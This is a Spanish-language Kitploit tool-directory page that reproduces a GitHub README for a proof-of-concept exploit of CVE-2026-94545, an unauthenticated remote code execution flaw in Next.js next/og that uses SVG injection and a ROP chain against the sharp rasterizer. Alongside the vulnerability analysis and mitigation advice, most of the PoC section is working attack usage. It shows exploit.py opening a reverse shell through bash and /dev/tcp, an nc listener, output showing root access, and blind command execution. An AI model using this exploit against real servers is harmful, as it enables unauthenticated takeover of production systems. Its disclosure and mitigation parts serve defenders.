Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-94545 — Prueba de concepto de exploit para CVE-2026-94545, un RCE no autenticado en Next.js next/og mediante inyección de SVG y una cadena ROP contra el rasterizador nativo sharp. | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2026-94545
Análisis de VulnerabilidadesExplotaciónIngeniería InversaExplotación de Aplicaciones WebHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubeqstlab/cve-2026-94545

CVE-2026-94545

Prueba de concepto de exploit para CVE-2026-94545, un RCE no autenticado en Next.js next/og mediante inyección de SVG y una cadena ROP contra el rasterizador nativo sharp.

Ver Repositorio
936hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-94545 Next.js next/og RCE no autenticado

★ CVE-2026-94545 Next.js next/og inyección SVG a RCE nativo ★

https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160


Descripción general

next/og construye imágenes Open Graph renderizando JSX a un SVG con Satori y luego rasterizando ese SVG. Satori escribe el texto proporcionado por el usuario en el SVG sin escaparlo (CWE-116), por lo que una petición puede cerrar el elemento circundante e inyectar su propio marcado SVG. Cuando la ruta se ejecuta en el runtime de Node.js con sharp instalado, ese SVG es rasterizado por bibliotecas nativas (libvips, librsvg, libxml2) en lugar del renderizador wasm en sandbox. Un payload construido a partir de una referencia XInclude y entidades DTD anidadas corrompe la memoria dentro de ese parser nativo. El binario oficial de Node.js es non-PIE, por lo que su código y GOT no están aleatorizados y una cadena ROP fija alcanza execve sin una fuga de direcciones. Una única petición no autenticada a una ruta de imagen OG es suficiente para ejecutar comandos como el proceso del servidor.


Versiones afectadas

CategoríaVersión
VulnerableNext.js 16.2.0 – 16.3.5 (runtime Node, sharp presente), Satori >=0.0.27 <0.33.5
ParcheadoNext.js 16.3.6 / Satori 0.33.5 o posterior

Solo la ruta del runtime de Node.js está afectada. Con export const runtime = 'edge', o una instalación sin sharp, la imagen es dibujada por el renderizador resvg-wasm en sandbox y el fallo no conduce a ejecución de código.


Impacto

  • Ejecución de código no autenticada como el proceso del servidor Next.js. Cualquier ruta que pase datos de la petición a ImageResponse es un sink.
  • El exploit es ciego. Un execve exitoso reemplaza el worker, por lo que la petición HTTP simplemente se cierra y el resultado tiene que volver por otra vía, como una reverse shell o un comando que llame a casa.
  • El payload es estable. Debido a que el binario de Node es non-PIE, las direcciones de los gadgets son las mismas en cada host y reinicio para una build de Node dada, por lo que no se necesita fuga ni fuerza bruta por objetivo.
  • Un impacto exitoso tumba el worker. El proceso de node es reemplazado por el comando inyectado, por lo que el servidor deja de responder hasta que se reinicia.

Entorno

Una aplicación Next.js mínima que reproduce la configuración vulnerable. La ruta en /api/og renderiza un ImageResponse en el runtime de Node, y sharp está instalado para que se use el rasterizador nativo. La imagen fija el stack exacto del que depende la cadena ROP (Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 con libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). La primera build descarga Node, instala las dependencias de npm y ejecuta next build, lo que tarda unos minutos.

docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545

# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
PrecondiciónEstado en este laboratorio
Next.js 16.2.0 – 16.3.5 en el runtime de NodeNext 16.3.5, runtime = 'nodejs'
sharp instalado, para que se use la ruta nativa librsvg/libxml2sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3
Binario de Node non-PIE para una base ROP estableNode oficial v24.20.0 linux-x64 (verificado por SHA)
Ruta de imagen OG accesible sin autenticaciónGET y POST /api/og, el texto de la petición va a un <title> del SVG
Ruta de salida disponible para una reverse shellbash y /dev/tcp están presentes

PoC

La ruta vulnerable es POST /api/og. Toma el cuerpo de la petición y lo coloca en un <title> del SVG antes de rasterizar. exploit.py construye ese SVG para un comando elegido, codifica la cadena ROP en un <path>, y lo envía a la ruta.

La ejecución más simple abre una reverse shell. Dale el objetivo y una dirección de escucha; inicia nc por ti, dispara la petición y te entrega la shell.

python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444

El payload está calibrado para el stack listado en Entorno, así que ejecútalo contra esta imagen o un host con la misma build de Node y sharp. Un impacto reemplaza el proceso de node con tu comando, lo que significa que la petición HTTP se cierra y el servicio deja de responder hasta que se reinicie el contenedor.

[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux

La reverse shell se ejecuta como el proceso del servidor, lo que confirma la ejecución de código desde una única petición no autenticada. Para ejecutar un comando sin un listener, pásalo directamente; ten en cuenta que la salida no vuelve por HTTP, por lo que el comando tiene que enviar cualquier cosa que quieras ver fuera de banda.

# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"

# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og

Mitigación

  • Actualiza a Next.js 16.3.6 / Satori 0.33.5 o posterior, que escapa el texto SVG cuando se serializa y cierra la inyección.
  • Si aún no puedes actualizar, mueve las rutas de next/og a export const runtime = 'edge' para que se use el renderizador wasm en sandbox, o elimina sharp para que no se alcance la ruta nativa, y mantén la entrada de usuario sin sanear fuera de los hijos de ImageResponse.
  • Coloca las rutas de imagen OG detrás de autenticación o una lista de permitidos, y restringe el tráfico saliente del servidor para dificultar la exfiltración ciega.
  • Después de parchear, trata una instancia accesible desde internet como comprometida: rota cualquier secreto que el proceso de la aplicación pudiera leer y busca persistencia.

Análisis

  • KR:
  • EN:
Descargar herramienta